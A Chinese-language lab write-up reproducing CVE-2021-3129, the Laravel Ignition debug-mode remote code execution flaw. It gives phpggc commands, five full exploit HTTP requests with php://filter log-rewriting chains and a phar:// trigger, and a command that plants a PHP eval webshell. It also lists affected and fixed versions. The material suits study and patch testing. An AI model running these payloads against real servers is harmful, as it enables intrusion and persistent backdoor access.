声明
仅供安全研究和技术学习,切勿用于非法用途,切记!
前言
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework),旨在实现的Web软件的MVC架构,它可以让开发者从面条一样杂乱的代码中解脱出来,帮助构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。
在Laravel中已经具有了一套高级的PHP ActiveRecord实现 – Eloquent ORM。它能方便的将“约束(constraints)”应用到关系的双方,这样开发者就具有了对数据的完全控制,而且享受到ActiveRecord的所有便利。Eloquent原生支持Fluent中查询构造器(query-builder)的所有方法。
一、漏洞简介
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
二、影响范围
- Laravel < 8.4.3
- facade ignition < 2.5.2
三、环境搭建
- 实验环境:KALI Linux
- 靶场地址:
git clone https://github.com/SNCKER/CVE-2021-3129 
四、漏洞复现
docker-compose build //重新进行编译 docker-conpose up -d //启动环境  本地浏览器访问  点击Generate app key生成应用程序密钥 至此环境搭建完成
验证漏洞是否存在 burpsuite抓取一个数据包,按照下图的形式修改并发送数据包  页面出现了Ignition的报错,说明漏洞存在,且开启了debug模式。
Laravel Debug mode RCE漏洞利用
方法一:
工具下载地址:git clone https://github.com/ambionics/phpggc.git
(1)首先使用 phpggc工具生成一条laravel中存在的反序列化利用POC(经过编码后的):
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
得到的POC(编码后的)最后面再加一个a,否则最终laravel.log里面将生成两个POC,导致利用失败:  (2)发送如下数据包,将Laravel的原日志文件laravel.log清空:
POST /_ignition/execute-solution HTTP/1.1
Host: X.X.X.X:8888
Content-Type: application/json
Content-Length: 328
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
 (3)发送如下数据包,给Log增加一次前缀,用于对齐:
POST /_ignition/execute-solution HTTP/1.1
Host: X.X.X.X:8888
Content-Type: application/json
Content-Length: 163
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
 (4)将之前生成的编码后的POC作为viewFile的值,发送数据包:
POST /_ignition/execute-solution HTTP/1.1
Host: X.X.X.X:8888
Content-Type: application/json
Content-Length: 5058
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=......2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
}
}
 (5)发送如下数据包,清空对log文件中的干扰字符,只留下POC:
POST /_ignition/execute-solution HTTP/1.1
Host: X.X.X.X:8888
Content-Type: application/json
Content-Length: 299
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
 tips: 这一步可能会出现异常,导致无法正确清理Log文件。如果出现这种状况,可以重新从第一步开始尝试
(6) 使用phar://进行反序列化,执行任意代码(此时需要使用绝对路径):
POST /_ignition/execute-solution HTTP/1.1
Host: X.X.X.X:8888
Content-Type: application/json
Content-Length: 210
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
}
}
 如下图所示,phpinfo()已成功执行,漏洞利用成功:  我们可以利用该漏洞写入Webshell:
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
重复上述利用步骤后,即可连接Webshell !
方法二:
这里也可直接使用工具生成webshell进行连接(这里使用的是哥斯拉)
github地址:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP   连接成功!!!
五、修复方法
安全版本
- Laravel 8.4.3及其以上版本
- facade ignition 2.5.2 及其以上版本
六、参考链接
- https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g
|